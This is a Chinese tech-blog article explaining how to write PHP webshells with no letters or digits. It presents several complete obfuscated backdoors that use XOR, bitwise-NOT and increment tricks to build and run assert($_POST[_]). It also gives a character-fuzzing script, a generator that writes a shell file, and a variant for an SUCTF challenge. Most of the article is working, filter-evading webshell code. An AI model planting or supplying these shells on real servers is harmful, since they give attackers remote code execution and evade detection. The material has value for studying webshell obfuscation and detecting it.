您好,登錄后才能下訂單哦!
小編給大家分享一下如何實(shí)現(xiàn)不包含數(shù)字字母的WebShell,希望大家閱讀完這篇文章之后都有所收獲,下面讓我們一起去探討吧!
^
運(yùn)算<?php $_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert'; $__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST'; $___=$$__; $_($___[_]); // assert($_POST[_]);
這個(gè)馬是不能直接用的,因?yàn)榇a中的url編碼其實(shí)對(duì)應(yīng)的是一個(gè)不可打印的特殊字符,這里只是為了顯示程序方便,作者用url編碼來(lái)取代,實(shí)際上木馬應(yīng)該是下面這個(gè)樣子:
或者你還可以按照如下兩種形式修改木馬,使得木馬可以運(yùn)行。
<?php $_=(chr(0x01)^'`').(chr(0x13)^'`').(chr(0x13)^'`').(chr(0x05)^'`').(chr(0x12)^'`').(chr(0x14)^'`'); $__='_'.(chr(0x0D)^']').(chr(0x2F)^'`').(chr(0x0E)^']').(chr(0x09)^']'); $___=$$__; $_($___[_]);// assert($_POST[_]); ?>
<?php $_=(urldecode('%01')^'`').(urldecode('%13')^'`').(urldecode('%13')^'`').(urldecode('%05')^'`').(urldecode('%12')^'`').(urldecode('%14')^'`'); $__='_'.(urldecode('%0D')^']').(urldecode('%2F')^'`').(urldecode('%0E')^']').(urldecode('%09')^']'); $___=$$__; $_($___[_]);// assert($_POST[_]); ?>
~
運(yùn)算<?php $__=('>'>'<')+('>'>'<'); $_=$__/$__; $____=''; $___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__}); $_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_}); $_=$$_____; $____($_[_]);// assert($_POST[_]);
前兩天的SUCTF就考察了這個(gè),但是需要對(duì)代碼稍作修改。原題目可以寫(xiě)入特殊字符只有: ~ $ _ ; = ( )
,修改如下:(PS:代碼由 Wfox
師傅fuzz出來(lái),也是參考P牛的文章 )
<?php $__=[]; $___=[]; $_=$__==$___; $__=~(瞰); $___=$__[$_]; $__=~(北); $___.=$__[$_].$__[$_]; $__=~(的); $___.=$__[$_]; $__=~(半); $___.=$__[$_]; $__=~(拾); $___.=$__[$_]; $____=~(~(_)); $__=~(說(shuō)); $____.=$__[$_]; $__=~(小); $____.=$__[$_]; $__=~(次); $____.=$__[$_]; $__=~(站); $____.=$__[$_]; $_=$$____; $___($_[_]);// assert($_POST[_]);
fuzz腳本如下:
<?php $charset = '"'; for ($i=0; $i < 65536; $i++) { $charset .= sprintf("\u%04s",dechex($i).''); //生成 \u0000 - \uffff 字符集 } $charset = json_decode($charset.'"'); //json_decode解碼格式:json_decode('"xxxxxxxx"') header('Content-Type: text/html; charset=utf-8'); for ($i=0; $i < mb_strlen($charset,'utf-8'); $i++) { $st = mb_substr($charset, $i,1,'utf-8'); $a = ~($st); $b = $a[1]; echo $st.' '.$b.'<br>'; } ?>
賽后官方也提供了WP,PHP中使用按位取反(~)函數(shù)創(chuàng)建后門(mén) 。按照這篇文章,沒(méi)有成功生成可用的shell,于是我又參考了另外一篇文章 Deformity PHP Webshell、Webshell Hidden Learning ,生成腳本如下:
# generate.php 運(yùn)行該程序,生成木馬shell.php, assert('eval($_POST[_])'); <?php file_put_contents('yihuo.php', '<?php $_=~'.(~'assert').';$__=~'.(~'eval($_POST[_])').';$_($__);?>') ?>
++
<?php @$_=[].''; @$___=$_['']; $_=$___;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__; $__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__; $____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____; @$___($_[_]);// assert($_POST[_]); ?>
看完了這篇文章,相信你對(duì)“如何實(shí)現(xiàn)不包含數(shù)字字母的WebShell”有了一定的了解,如果想了解更多相關(guān)知識(shí),歡迎關(guān)注億速云行業(yè)資訊頻道,感謝各位的閱讀!
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。